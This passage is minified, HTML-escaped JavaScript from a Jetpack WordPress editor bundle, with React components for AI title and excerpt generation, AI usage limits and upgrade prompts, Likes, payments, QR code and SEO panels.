a({onGenerate:e,onKeywordsChange:t,currentKeywords:s,disabled:n}){return(0,o.jsxs)(&quot;div&quot;,{className:&quot;jetpack-ai-title-optimization__keywords&quot;,children:[(0,o.jsx)(&quot;div&quot;,{className:&quot;jetpack-ai-title-optimization__keywords__textarea&quot;,children:(0,o.jsx)(r.KeyboardShortcuts,{bindGlobal:!0,shortcuts:{enter:()=&gt;{n||e()}},children:(0,o.jsx)(&quot;textarea&quot;,{value:s,disabled:n,maxLength:100,rows:1,onChange:e=&gt;{t(e.target.value)},placeholder:__(&quot;Add optional keywords you&#039;d like to include and generate new suggestions.&quot;,&quot;jetpack&quot;)})})}),(0,o.jsx)(&quot;div&quot;,{className:&quot;jetpack-ai-title-optimization__keywords__button&quot;,children:(0,o.jsx)(r.Button,{onClick:e,variant:&quot;secondary&quot;,disabled:n,children:__(&quot;Generate again&quot;,&quot;jetpack&quot;)})})]})}},22473(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});s(58664);var r=s(10790);const n=&quot;title-optimization-option&quot;;function o({options:e,selected:t,onChangeValue:s}){return(0,r.jsx)(&quot;div&quot;,{className:&quot;jetpack-ai-title-optimization__options&quot;,children:e.map((e,o)=&gt;(0,r.jsxs)(&quot;div&quot;,{className:&quot;jetpack-ai-title-optimization__option&quot;,children:[(0,r.jsx)(&quot;div&quot;,{className:&quot;jetpack-ai-title-optimization__option-input&quot;,children:(0,r.jsx)(&quot;input&quot;,{id:`${n}-${o}`,type:&quot;radio&quot;,name:n,value:e.value,onChange:s,checked:e.value===t})}),(0,r.jsx)(&quot;div&quot;,{className:&quot;jetpack-ai-title-optimization__option-content&quot;,children:(0,r.jsxs)(&quot;label&quot;,{className:&quot;jetpack-ai-title-optimization__option-label&quot;,htmlFor:`${n}-${o}`,children:[e.label,(0,r.jsx)(&quot;div&quot;,{className:&quot;jetpack-ai-title-optimization__option-description&quot;,children:e.description})]})})]},`${n}-${o}`))})}},93471(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;d});var r=s(11876),n=s(85985),o=s(56427),a=s(86087),i=s(27723),l=s(13022),c=(s(36631),s(10790));const __=i.__,u=({usage:e})=&gt;{if(null==e)return null;const t=100-100*Math.max(Math.min(e,1),0),s={width:`${t}%`};return(0,c.jsx)(&quot;div&quot;,{className:&quot;ai-assistant-usage-bar-wrapper&quot;,children:(0,c.jsx)(&quot;div&quot;,{className:(0,l.A)(&quot;ai-assistant-usage-bar-usage&quot;,{warning:t&lt;60&amp;&amp;t&gt;20,danger:t&lt;=20}),style:s})})};const d=function({isOverLimit:e,planType:t,requestsCount:s,requestsLimit:l,nextResetDate:d=null,loading:p=!1}){const h=e||s&gt;=l;let m=null;const g=Array(),f=Math.max(0,l-s);h&amp;&amp;t===n._X&amp;&amp;g.push(__(&quot;You&#039;ve reached your free requests limit.&quot;,&quot;jetpack&quot;)),h&amp;&amp;t===n.ds&amp;&amp;g.push(__(&quot;You&#039;ve reached your plan requests limit.&quot;,&quot;jetpack&quot;)),d&amp;&amp;t===n.ds&amp;&amp;(m=(0,a.createInterpolateElement)((0,i.sprintf)(
// translators: %1$d: number of days until the next usage count reset, %2$s: date of next reset
__(&quot;Requests will reset to &lt;strong&gt;%1$d&lt;/strong&gt; on %2$s.&quot;,&quot;jetpack&quot;),l,d),{strong:(0,c.jsx)(&quot;strong&quot;,{})}));const b=s/l,v=(0,c.jsxs)(c.Fragment,{children:[t===n.Ti&amp;&amp;(0,c.jsx)(&quot;p&quot;,{children:__(&quot;Unlimited requests.&quot;,&quot;jetpack&quot;)}),(t===n._X||t===n.ds)&amp;&amp;(0,c.jsxs)(c.Fragment,{children:[(0,c.jsx)(&quot;p&quot;,{className:&quot;jetpack-ai-usage-panel__available-requests&quot;,children:f}),(0,c.jsx)(u,{usage:b})]})]}),k=(0,c.jsx)(r.A,{height:100,className:&quot;jetpack-ai-usage-panel__loading-placeholder&quot;}),y=(0,c.jsxs)(c.Fragment,{children:[!p&amp;&amp;g.length?g.join(&quot; &quot;).concat(&quot; &quot;):null,!p&amp;&amp;m]});return(0,c.jsxs)(o.BaseControl,{__nextHasNoMarginBottom:!0,help:y,children:[(0,c.jsx)(o.BaseControl.VisualLabel,{children:__(&quot;Available Requests&quot;,&quot;jetpack&quot;)}),!p&amp;&amp;v,p&amp;&amp;k]})}},27970(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;g});var r=s(96865),n=s(3924),o=s(97999),a=s(85985),i=s(56427),l=s(38443),c=s(86087),u=s(27723),d=s(75956),p=s(93471),h=(s(50888),s(10790));const __=u.__;function m({isOverLimit:e,requestsCount:t,requestsLimit:s,nextStart:r,planType:n,loading:o,canUpgrade:c,showContactUsCallToAction:d,nextLimit:m,contactUsURL:g,handleContactUsClick:f,checkoutUrl:b,handleUpgradeClick:v}){const k=((e,t)=&gt;e===a._X?__(&quot;Upgrade&quot;,&quot;jetpack&quot;):t?(0,u.sprintf)(
// translators: %1$d: an integer, the number of requests to upgrade to on the next tier
__(&quot;Get %1$d requests&quot;,&quot;jetpack&quot;),t):__(&quot;Get more requests&quot;,&quot;jetpack&quot;))(n,m),y=(x=r)?(0,l.gmdateI18n)(&quot;F j&quot;,x):null;var x;return(0,h.jsx)(&quot;div&quot;,{className:&quot;jetpack-ai-usage-panel&quot;,children:(0,h.jsxs)(h.Fragment,{children:[(0,h.jsx)(p.A,{isOverLimit:e,requestsCount:t,requestsLimit:s,nextResetDate:y,planType:n,loading:o}),!o&amp;&amp;(n===a._X||n===a.ds)&amp;&amp;c&amp;&amp;(0,h.jsxs)(&quot;div&quot;,{className:&quot;jetpack-ai-usage-panel-upgrade-button&quot;,children:[d&amp;&amp;(0,h.jsxs)(h.Fragment,{children:[(0,h.jsx)(&quot;p&quot;,{children:__(&quot;Need more requests?&quot;,&quot;jetpack&quot;)}),(0,h.jsx)(i.Button,{target:&quot;_blank&quot;,variant:&quot;primary&quot;,label:__(&quot;Contact us for more requests&quot;,&quot;jetpack&quot;),href:g,onClick:f,children:(0,h.jsx)(&quot;span&quot;,{children:__(&quot;Contact Us&quot;,&quot;jetpack&quot;)})})]}),!d&amp;&amp;(0,h.jsx)(i.Button,{target:&quot;_blank&quot;,variant:&quot;primary&quot;,label:__(&quot;Upgrade your Jetpack AI plan&quot;,&quot;jetpack&quot;),href:b,onClick:v,children:(0,h.jsx)(&quot;span&quot;,{children:k})})]})]})})}function g({placement:e=null}){const{checkoutUrl:t}=(0,r.ON)(),{contactUsURL:s}=(()=&gt;{const e=(0,n.A)(&quot;jetpack-ai-tiers-more-requests-contact&quot;),{autosaveAndRedirect:t,isRedirecting:s}=(0,a.ZR)(e);return{contactUsURL:e,autosaveAndRedirectContactUs:t,isRedirectingContactUs:s}})(),{tracks:i}=(0,d.A)(),l=(0,a.CP)(),{requestsCount:u,requestsLimit:p,isOverLimit:g,usagePeriod:f,currentTier:b,nextTier:v,loading:k}=(0,r.yM)(),y=(0,a.Bd)(b),x=(0,c.useCallback)(()=&gt;{i.recordEvent(&quot;jetpack_ai_upgrade_button&quot;,{current_tier_slug:b?.slug,requests_count:u,...e?{placement:e}:{}})},[i,b,u,e]),j=(0,c.useCallback)(()=&gt;{i.recordEvent(&quot;jetpack_ai_upgrade_button&quot;,{current_tier_slug:b?.slug,requests_count:u,...e?{placement:e}:{}})},[i,b,u,e]),w=(0,o.isWpcomPlatformSite)()&amp;&amp;y===a.ds&amp;&amp;!v;return(0,h.jsx)(m,{isOverLimit:g,requestsCount:u,requestsLimit:p,nextStart:f?.nextStart,nextLimit:v?.limit,planType:y,loading:k,canUpgrade:l,showContactUsCallToAction:w,contactUsURL:s,handleContactUsClick:j,checkoutUrl:t,handleUpgradeClick:x})}},56199(e,t,s){&quot;use strict&quot;;s.d(t,{k:()=&gt;r});const r=&quot;block_settings_sidebar&quot;},88797(e,t,s){&quot;use strict&quot;;var r=s(85985),n=s(23806);(0,r.vp)(n.U,n.W)},23806(e,t,s){&quot;use strict&quot;;s.d(t,{U:()=&gt;n,W:()=&gt;o});var r=s(23162);const n=&quot;ai-assistant-plugin&quot;,o={render:r.A}},1176(e,t,s){&quot;use strict&quot;;s.d(t,{N:()=&gt;u});var r=s(96865),n=s(56427),o=s(27723),a=s(51609),i=s(2162),l=s(62402),c=(s(40678),s(10790));const __=o.__;function u({minWords:e=10,maxWords:t=100,disabled:s,words:o,onWordsNumberChange:u,language:d,onLanguageChange:p,tone:h,onToneChange:m}){const[g,f]=(0,a.useState)(!1);const b=d?.split(&quot; &quot;)[0],v=r.so[b]?.label||__(&quot;Language&quot;,&quot;jetpack&quot;),k=r.oZ[h]?.label||__(&quot;Tone&quot;,&quot;jetpack&quot;);return(0,c.jsxs)(&quot;div&quot;,{className:&quot;jetpack-ai-generate-excerpt-control&quot;,children:[(0,c.jsxs)(n.BaseControl,{className:&quot;jetpack-ai-generate-excerpt-control__header&quot;,__nextHasNoMarginBottom:!0,children:[(0,c.jsx)(n.BaseControl.VisualLabel,{children:__(&quot;Settings&quot;,&quot;jetpack&quot;)}),(0,c.jsx)(n.Button,{label:__(&quot;Advanced AI options&quot;,&quot;jetpack&quot;),icon:r.cj,onClick:function(){f(e=&gt;!e)},&quot;aria-pressed&quot;:g,isSmall:!0})]}),g&amp;&amp;(0,c.jsxs)(c.Fragment,{children:[(0,c.jsx)(i.HU,{disabled:s,onChange:p,value:d,label:v}),(0,c.jsx)(l.hN,{disabled:s,label:k,value:h,onChange:m})]}),(0,c.jsx)(n.RangeControl,{label:__(&quot;Desired length&quot;,&quot;jetpack&quot;),value:o,onChange:u,min:e,max:t,help:__(&quot;Sets the desired length in words for the auto-generated excerpt. The final count may vary due to how AI works.&quot;,&quot;jetpack&quot;),showTooltip:!1,disabled:s,__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0})]})}},25101(e,t,s){&quot;use strict&quot;;var r=s(85985),n=s(47143),o=s(43656),a=s(52619),i=s(10067),l=s.n(i),c=s(54681),u=s(10821),d=s(33792);const p=l()(&quot;jetpack-ai-content-lens:registration&quot;),h=window?.Jetpack_Editor_Initial_State?.available_blocks[&quot;ai-content-lens&quot;];h?.available&amp;&amp;((0,a.addFilter)(&quot;blocks.registerBlockType&quot;,&quot;jetpack/ai-content-lens-features&quot;,function(e,t){return t!==c.name?e:(0,u.Bi)()?((0,r.vp)(d.s,d.$),p(&quot;Registered AI Excerpt plugin&quot;),(0,(0,n.dispatch)(o.store).removeEditorPanel)(&quot;post-excerpt&quot;),p(&quot;Removed the post-excerpt panel&quot;),e):e}),p(&quot;Added filter for AI Content Lens features&quot;))},33251(e,t,s){&quot;use strict&quot;;s.d(t,{g:()=&gt;b});var r=s(96865),n=s(97999),o=s(85985),a=s(82201),i=s(56427),l=s(47143),c=s(43656),u=s(86087),d=s(27723),p=s(69446),h=s(67858),m=s(1176),g=(s(43451),s(10790));const __=d.__,_n=d._n;function f(){const e=(0,u.useRef)(null),{excerpt:t,postId:s}=(0,l.useSelect)(e=&gt;{const{getEditedPostAttribute:t,getCurrentPostId:s}=e(c.store);return{excerpt:t(&quot;excerpt&quot;)??&quot;&quot;,postId:s()??0}},[]),{tracks:h}=(0,o.st)(),{editPost:f}=(0,l.useDispatch)(&quot;core/editor&quot;),{dequeueAiAssistantFeatureAsyncRequest:b,increaseAiAssistantRequestsCount:v}=(0,l.useDispatch)(&quot;wordpress-com/plans&quot;),[k,y]=(0,u.useState)(50),[x,j]=(0,u.useState)(!1),[w,_]=(0,u.useState)(),[C,A]=(0,u.useState)(),{request:S,stopSuggestion:E,suggestion:N,requestingState:T,error:B,reset:P,model:I}=(0,r.o2)({onDone:(0,u.useCallback)((t,s)=&gt;{v(),h.recordEvent(&quot;jetpack_ai_assistant_block_generate&quot;,{feature:&quot;jetpack-ai-content-lens&quot;,model:s,generation_time:null!==e.current?window?.performance?.now?.()-e.current:null})},[v,h]),onError:(0,u.useCallback)(e=&gt;{&quot;error_network&quot;!==e.code&amp;&amp;&quot;error_quota_exceeded&quot;!==e.code&amp;&amp;v()},[v]),onAllErrors:(0,u.useCallback)(()=&gt;{v()},[v])});(0,u.useEffect)(()=&gt;()=&gt;{E(),P()},[E,P]);const M=(0,l.useSelect)(e=&gt;{const t=e(c.store).getEditedPostContent();if(!t)return&quot;&quot;;const s=(new window.DOMParser).parseFromString(t,&quot;text/html&quot;);return(s.body.textContent||s.body.innerText||&quot;&quot;).replace(/\n{2,}/g,&quot;\n&quot;).trim()},[]),L=N||t,R=(0,p.count)(L,&quot;words&quot;),D=(0,d.sprintf)(
// Translators: %1$d is the number of words in the excerpt.
_n(&quot;%1$d word&quot;,&quot;%1$d words&quot;,R,&quot;jetpack&quot;),R),F=&quot;requesting&quot;===T||&quot;suggesting&quot;===T||&quot;done&quot;===T&amp;&amp;!x,O=&quot;requesting&quot;===T||&quot;suggesting&quot;===T,z=O||&quot;done&quot;===T;const{requireUpgrade:U,isOverLimit:H}=(0,r.yM)();return(0,g.jsxs)(&quot;div&quot;,{className:&quot;jetpack-ai-post-excerpt&quot;,children:[(0,g.jsx)(i.TextareaControl,{__nextHasNoMarginBottom:!0,label:__(&quot;Write an excerpt (optional)&quot;,&quot;jetpack&quot;),onChange:e=&gt;f({excerpt:e}),help:R?D:null,value:L,disabled:z}),(0,n.isWpcomPlatformSite)()?(0,g.jsx)(a.k4,{supportLink:__(&quot;https://wordpress.com/support/excerpts/&quot;,&quot;jetpack&quot;),supportPostId:1569,children:__(&quot;Learn more about manual excerpts&quot;,&quot;jetpack&quot;)}):(0,g.jsx)(i.ExternalLink,{href:__(&quot;https://jetpack.com/support/create-better-post-excerpts-with-ai/&quot;,&quot;jetpack&quot;),children:__(&quot;Learn more about manual excerpts&quot;,&quot;jetpack&quot;)}),(0,g.jsxs)(&quot;div&quot;,{className:&quot;jetpack-generated-excerpt__ai-container&quot;,children:[B?.code&amp;&amp;&quot;error_quota_exceeded&quot;!==B.code&amp;&amp;(0,g.jsx)(i.Notice,{status:B.severity,isDismissible:!1,className:&quot;jetpack-ai-assistant__error&quot;,children:B.message}),H&amp;&amp;(0,g.jsx)(r.Hb,{placement:&quot;excerpt-panel&quot;}),(0,g.jsx)(m.N,{words:k,onWordsNumberChange:e=&gt;{y(e),j(!0)},language:w,onLanguageChange:e=&gt;{_(e),j(!0)},tone:C,onToneChange:e=&gt;{A(e),j(!0)},disabled:O||U}),(0,g.jsx)(i.BaseControl,{help:M?.length?null:__(&quot;Add content to generate an excerpt.&quot;,&quot;jetpack&quot;),__nextHasNoMarginBottom:!0,children:(0,g.jsxs)(&quot;div&quot;,{className:&quot;jetpack-generated-excerpt__generate-buttons-container&quot;,children:[(0,g.jsx)(i.Button,{onClick:function(){f({excerpt:t}),h.recordEvent(&quot;jetpack_ai_assistant_block_discard&quot;,{feature:&quot;jetpack-ai-content-lens&quot;,model:I}),P()},variant:&quot;secondary&quot;,isDestructive:!0,disabled:&quot;done&quot;!==T||U,children:__(&quot;Discard&quot;,&quot;jetpack&quot;)}),(0,g.jsx)(i.Button,{onClick:function(){f({excerpt:N}),h.recordEvent(&quot;jetpack_ai_assistant_block_accept&quot;,{feature:&quot;jetpack-ai-content-lens&quot;,model:I}),P()},variant:&quot;secondary&quot;,disabled:&quot;done&quot;!==T||U,children:__(&quot;Accept&quot;,&quot;jetpack&quot;)}),(0,g.jsx)(i.Button,{onClick:function(){j(!1),P();const t=[{role:&quot;jetpack-ai&quot;,context:{type:&quot;ai-content-lens&quot;,contentType:&quot;post-excerpt&quot;,postId:Number(s),words:k,language:w,tone:C,content:`Post content:\n${M}\n`}}];b(),h.recordEvent(&quot;jetpack_ai_assistant_block_request&quot;,{feature:&quot;jetpack-ai-content-lens&quot;,model:I}),e.current=window?.performance?.now?.()||null,S(t,{feature:&quot;jetpack-ai-content-lens&quot;,model:I})},variant:&quot;secondary&quot;,isBusy:O,disabled:F||U||!M,children:__(&quot;Generate&quot;,&quot;jetpack&quot;)})]})})]})]})}const b=()=&gt;{if((0,l.useSelect)(e=&gt;{const{getCurrentPostType:t}=e(c.store),s=t();return&quot;wp_template&quot;===s||&quot;wp_template_part&quot;===s||&quot;wp_block&quot;===s},[]))return null;const e=e=&gt;{const t=c.PluginDocumentSettingPanel;return(0,g.jsx)(t,{...e})};return(0,g.jsx)(c.PostTypeSupportCheck,{supportKeys:&quot;excerpt&quot;,children:(0,g.jsx)(e,{className:(0,h.m)(&quot;ai-content-lens&quot;)?&quot;is-beta-extension inset-shadow&quot;:&quot;&quot;,name:&quot;ai-content-lens-plugin&quot;,title:__(&quot;Excerpt&quot;,&quot;jetpack&quot;),children:(0,g.jsx)(f,{})})})}},33792(e,t,s){&quot;use strict&quot;;s.d(t,{$:()=&gt;o,s:()=&gt;n});var r=s(33251);const n=&quot;ai-content-lens&quot;,o={render:r.g}},31009(e,t,s){&quot;use strict&quot;;s.d(t,{m:()=&gt;l});var r=s(3924),n=s(85985),o=s(56427),a=s(27723),i=(s(96440),s(10790));const __=a.__,l=({changeStatus:e,isLoading:t,isModuleActive:s})=&gt;{const{tracks:a}=(0,n.st)();return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(&quot;p&quot;,{children:__(&quot;Activate the Likes feature to allow others to like your posts.&quot;,&quot;jetpack&quot;)}),(0,i.jsx)(o.Button,{disabled:s||t,isBusy:t,onClick:()=&gt;(a.recordEvent(&quot;jetpack_editor_likes_enable&quot;),e(!0)),variant:&quot;secondary&quot;,children:t?__(&quot;Activating Likes&quot;,&quot;jetpack&quot;):__(&quot;Activate Likes&quot;,&quot;jetpack&quot;,0)}),(0,i.jsx)(&quot;div&quot;,{className:&quot;components-likes-placeholder__learn-more&quot;,children:(0,i.jsx)(o.ExternalLink,{href:(0,r.A)(&quot;jetpack-support-likes&quot;),children:__(&quot;Learn more about Jetpack Likes.&quot;,&quot;jetpack&quot;)})})]})}},79013(e,t,s){&quot;use strict&quot;;s.d(t,{L:()=&gt;i});var r=s(50723),n=s(11876),o=s(56427),a=s(10790);const i=()=&gt;(0,a.jsx)(r.Ay,{children:(0,a.jsx)(o.Placeholder,{children:(0,a.jsxs)(o.Flex,{gap:2,direction:&quot;column&quot;,style:{flexBasis:&quot;100%&quot;,padding:&quot;0 1em&quot;},children:[(0,a.jsx)(o.FlexItem,{children:(0,a.jsx)(n.A,{width:&quot;100%&quot;,height:30})}),(0,a.jsx)(o.FlexItem,{children:(0,a.jsx)(n.A,{width:&quot;100%&quot;,height:90})})]})})})},24938(e,t,s){&quot;use strict&quot;;var r=s(85985),n=s(35739);(0,r.vp)(n.U,n.W)},35739(e,t,s){&quot;use strict&quot;;s.d(t,{U:()=&gt;n,W:()=&gt;o});var r=s(88385);const n=&quot;likes&quot;,o={render:r.A}},88385(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;g});var r=s(85985),n=s(56427),o=s(29491),a=s(47143),i=s(43656),l=s(27723),c=s(96788),u=s(31009),d=s(79013),p=s(10790);const __=l.__,h=(0,a.withSelect)(e=&gt;{const{getEditedPostAttribute:t}=e(&quot;core/editor&quot;);return{areLikesEnabled:t(&quot;jetpack_likes_enabled&quot;)}}),m=(0,a.withDispatch)(e=&gt;{const{editPost:t}=e(&quot;core/editor&quot;);return{editPost:t}}),g=(0,o.compose)([h,m])(({areLikesEnabled:e,editPost:t})=&gt;{const{isLoadingModules:s,isChangingStatus:o,isModuleActive:a,changeStatus:l}=(0,r.q7)(&quot;likes&quot;);return a?(0,p.jsx)(i.PostTypeSupportCheck,{supportKeys:&quot;jetpack-post-likes&quot;,children:(0,p.jsx)(c.A,{children:(0,p.jsx)(n.ToggleControl,{label:__(&quot;Show likes&quot;,&quot;jetpack&quot;),checked:e,onChange:e=&gt;{t({jetpack_likes_enabled:e})},__nextHasNoMarginBottom:!0})})}):(0,p.jsx)(i.PostTypeSupportCheck,{supportKeys:&quot;jetpack-post-likes&quot;,children:(0,p.jsx)(c.A,{children:s?(0,p.jsx)(d.L,{}):(0,p.jsx)(u.m,{changeStatus:l,isModuleActive:a,isLoading:o})})})})},74585(e,t,s){&quot;use strict&quot;;var r=s(85985),n=s(9354);(0,r.vp)(n.U,n.W)},9354(e,t,s){&quot;use strict&quot;;s.d(t,{U:()=&gt;d,W:()=&gt;p});var r=s(3924),n=s(85985),o=s(56427),a=s(47143),i=s(43656),l=s(27723),c=s(32833),u=s(10790);const __=l.__,d=&quot;payments&quot;,p={render:()=&gt;{const{tracks:e}=(0,n.st)();if(&quot;page&quot;!==(0,a.useSelect)(e=&gt;e(i.store).getCurrentPostType(),[]))return null;const t=(0,r.A)(&quot;wpcom-payments-donations&quot;);return(0,u.jsxs)(i.PluginPostPublishPanel,{className:&quot;jetpack-payments-post-publish-panel&quot;,title:__(&quot;Start accepting payments&quot;,&quot;jetpack&quot;),initialOpen:!0,icon:c.A,children:[(0,u.jsx)(&quot;p&quot;,{children:__(&quot;Insert the Payment Button or the Donations Form — no plugin required.&quot;,&quot;jetpack&quot;)}),(0,u.jsx)(&quot;p&quot;,{children:(0,u.jsx)(o.ExternalLink,{href:t,onClick:()=&gt;{e.recordEvent(&quot;jetpack_editor_payments_post_publish_click&quot;)},children:__(&quot;Learn more about these blocks&quot;,&quot;jetpack&quot;)})})]})}}},95668(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;h});var r=s(36281),n=s(62410),o=s(56427),a=s(47143),i=s(43656),l=s(86087),c=s(27723),u=s(90811),d=s(10790);const __=c.__;function p(){const e=(0,l.useRef)(void 0),[t,s]=(0,l.useState)();(0,l.useEffect)(()=&gt;{if(!e?.current)return;const t=e.current.querySelector(&quot;svg&quot;);if(!t)return;const r=(new XMLSerializer).serializeToString(t);s(`data:image/svg+xml;base64,${window.btoa(r)}`)},[e]);const o=(0,a.useSelect)(e=&gt;e(i.store).getPermalink(),[]),{dataUrl:c}=(0,u.A)({generateDataUrl:!0}),p=c||t;return(0,d.jsxs)(&quot;div&quot;,{ref:e,children:[(0,d.jsx)(r.A,{value:o,size:300,imageSettings:p&amp;&amp;{src:p,width:64,height:64},renderAs:&quot;canvas&quot;,level:&quot;H&quot;}),(0,d.jsx)(n.ux,{className:&quot;qr-post-jetpack-logo&quot;,size:48,border:2})]})}function h(){const e=(0,l.useRef)(void 0),[t,s]=(0,l.useState)(!1);return(0,d.jsxs)(&quot;div&quot;,{className:&quot;qr-post-button&quot;,children:[(0,d.jsx)(o.Button,{variant:&quot;secondary&quot;,onClick:()=&gt;s(e=&gt;!e),children:__(&quot;Get QR code&quot;,&quot;jetpack&quot;)}),t&amp;&amp;(0,d.jsx)(o.Modal,{title:__(&quot;QR Post code&quot;,&quot;jetpack&quot;),onRequestClose:()=&gt;s(!1),className:&quot;qr-post-modal&quot;,children:(0,d.jsx)(&quot;div&quot;,{className:&quot;qr-post-modal__qr-code&quot;,ref:e,children:(0,d.jsx)(p,{})})})]})}},42286(e,t,s){&quot;use strict&quot;;var r=s(85985),n=s(8543);(0,r.vp)(n.U,n.W)},90811(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i});var r=s(3582),n=s(47143),o=s(86087),a=s(52619);function i({generateDataUrl:e=!1}={}){const[t,s]=(0,o.useState)(),{id:i,mediaItemData:l}=(0,n.useSelect)(e=&gt;{const{canUser:t,getEntityRecord:s,getEditedEntityRecord:n}=e(r.store),o=n(&quot;root&quot;,&quot;site&quot;),a=s(&quot;root&quot;,&quot;__unstableBase&quot;),i=t(&quot;update&quot;,&quot;settings&quot;),l=o?.site_icon,c=a?.site_icon,u=i?l:c,d=o?.site_logo,p=a?.site_logo,h=u||(i?d:p),m=h&amp;&amp;e(r.store).getEntityRecord(&quot;postType&quot;,&quot;attachment&quot;,h,{context:&quot;view&quot;});return{id:h,mediaItemData:m&amp;&amp;{mediaId:m.id,url:m.source_url,alt:m.alt_text}}},[]);if(!i||!l?.url)return{};if(!e)return{id:i,...l};const c=new Image,u=(0,a.applyFilters)(&quot;media.crossOrigin&quot;,void 0,l.url);return&quot;string&quot;==typeof u&amp;&amp;(c.crossOrigin=u),c.onload=function(){const e=document.createElement(&quot;canvas&quot;),t=e.getContext(&quot;2d&quot;);e.height=this.naturalHeight,e.width=this.naturalWidth,t.fillStyle=&quot;white&quot;,t.lineJoin=&quot;round&quot;,t.fillRect(0,0,e.width,e.height);const r=.08*e.width;t.drawImage(this,r,r,e.width-2*r,e.height-2*r);try{s(e.toDataURL(&quot;image/png&quot;))}catch(e){console.warn(&quot;Error generating QR code extensions post-publish-qr-post-panel: &quot;,e),console.warn(&quot;In case it&#039;s a cross-origin issue, take a look at https://developer.wordpress.org/block-editor/reference-guides/filters/editor-filters/#media-crossorigin&quot;),s(null)}},c.src=l.url,{id:i,...l,dataUrl:t}}},8543(e,t,s){&quot;use strict&quot;;s.d(t,{U:()=&gt;p,W:()=&gt;h});var r=s(82201),n=s(56427),o=s(3582),a=s(47143),i=s(43656),l=s(27723),c=s(90062),u=s(95668),d=(s(18387),s(10790));const __=l.__,p=&quot;post-publish-qr-post-panel&quot;,h={render:function(){const e={name:&quot;post-publish-qr-post-panel&quot;,title:__(&quot;QR Code&quot;,&quot;jetpack&quot;),className:&quot;post-publish-qr-post-panel&quot;,initialOpen:!1},{isViewable:t,isPostPublished:s}=(0,a.useSelect)(e=&gt;{const t=e(i.store).getCurrentPostType(),s=e(o.store).getPostType(t);return{isViewable:s?.viewable,isPostPublished:e(i.store).isCurrentPostPublished()}},[]);if(!t)return null;function l(){return(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(n.PanelRow,{children:(0,d.jsx)(&quot;p&quot;,{children:__(&quot;Take advantage of the QR code to open the post from different devices.&quot;,&quot;jetpack&quot;)})}),(0,d.jsx)(u.A,{})]})}return(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(i.PluginPostPublishPanel,{...e,icon:(0,d.jsx)(r.jt,{}),children:(0,d.jsx)(l,{})}),s&amp;&amp;(0,d.jsx)(c.A,{children:(0,d.jsx)(n.PanelBody,{...e,children:(0,d.jsx)(l,{})})})]})}}},76262(e,t,s){&quot;use strict&quot;;s.d(t,{l:()=&gt;l});var r=s(3924),n=s(85985),o=s(56427),a=s(27723),i=(s(70699),s(10790));const __=a.__,l=({changeStatus:e,isLoading:t,isModuleActive:s})=&gt;{const{tracks:a}=(0,n.st)();return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(&quot;p&quot;,{children:__(&quot;Activate the SEO feature and start optimizing your posts for search engines.&quot;,&quot;jetpack&quot;)}),(0,i.jsx)(o.Button,{disabled:s||t,isBusy:t,onClick:()=&gt;(a.recordEvent(&quot;jetpack_editor_seo_enable&quot;),e(!0)),variant:&quot;secondary&quot;,children:t?__(&quot;Activating Jetpack SEO&quot;,&quot;jetpack&quot;):__(&quot;Activate Jetpack SEO&quot;,&quot;jetpack&quot;,0)}),(0,i.jsx)(&quot;div&quot;,{className:&quot;components-seo-placeholder__learn-more&quot;,children:(0,i.jsx)(o.ExternalLink,{href:(0,r.A)(&quot;jetpack-support-seo-tools&quot;),children:__(&quot;Learn more about Jetpack SEO.&quot;,&quot;jetpack&quot;)})})]})}},51626(e,t,s){&quot;use strict&quot;;s.d(t,{G:()=&gt;i});var r=s(50723),n=s(11876),o=s(56427),a=s(10790);const i=()=&gt;(0,a.jsx)(r.Ay,{children:(0,a.jsx)(o.Placeholder,{children:(0,a.jsxs)(o.Flex,{gap:2,direction:&quot;column&quot;,style:{flexBasis:&quot;100%&quot;,padding:&quot;0 1em&quot;},children:[(0,a.jsx)(o.FlexItem,{children:(0,a.jsx)(n.A,{width:&quot;100%&quot;,height:30})}),(0,a.jsx)(o.FlexItem,{children:(0,a.jsx)(n.A,{width:&quot;100%&quot;,height:90})}),(0,a.jsx)(o.FlexItem,{children:(0,a.jsx)(n.A,{width:&quot;100%&quot;,height:30})})]})})})},24294(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;u});var r=s(85985),n=s(82201),o=s(56427),a=s(27723),i=s(1866),l=s(13022),c=(s(61627),s(10790));const __=a.__,u=({requiredPlan:e})=&gt;{const[t,s,u,d]=(0,r._6)(e),{tracks:p}=(0,r.st)(),h=d?.product_name||__(&quot;paid&quot;,&quot;jetpack&quot;),m=__(&quot;Upgrade now&quot;,&quot;jetpack&quot;),g=__(&quot;Learn more about the SEO feature.&quot;,&quot;jetpack&quot;);return(0,c.jsxs)(c.Fragment,{children:[(0,c.jsx)(&quot;div&quot;,{children:(0,a.sprintf)(/* translators: %s: the product name of the plan. */
__(&quot;To use the SEO feature you need to upgrade to the %s plan&quot;,&quot;jetpack&quot;),h)}),(0,c.jsx)(&quot;div&quot;,{className:&quot;components-seo-upsell__learn-more&quot;,children:(0,c.jsx)(n.k4,{supportLink:&quot;https://wordpress.com/support/seo-tools/&quot;,supportPostId:120916,children:g})}),(0,c.jsx)(o.Button,{href:u?null:t,onClick:e=&gt;{e.preventDefault(),p.recordEvent(&quot;jetpack_seo_tools_upsell_click&quot;),s(e)},target:&quot;_top&quot;,icon:i.A,className:(0,l.A)(&quot;components-seo-upsell__button is-primary&quot;,{&quot;jetpack-upgrade-plan__hidden&quot;:!t}),isBusy:u,children:u?__(&quot;Redirecting…&quot;,&quot;jetpack&quot;):m})]})}},99463(e,t,s){&quot;use strict&quot;;s.d(t,{P:()=&gt;a});var r=s(56427),n=s(27723),o=s(10790);const __=n.__,_n=n._n,a=({suggestedLimit:e,value:t,label:s,...a})=&gt;{const i=!e||t.length&lt;=e?(0,n.sprintf)(/* translators: %d: the number of characters in a sentence. */
_n(&quot;%d character&quot;,&quot;%d characters&quot;,t.length,&quot;jetpack&quot;),t.length):(0,n.sprintf)(/* translators: %1$d: suggested character limit, %2$d: number of characters in a sentence. */
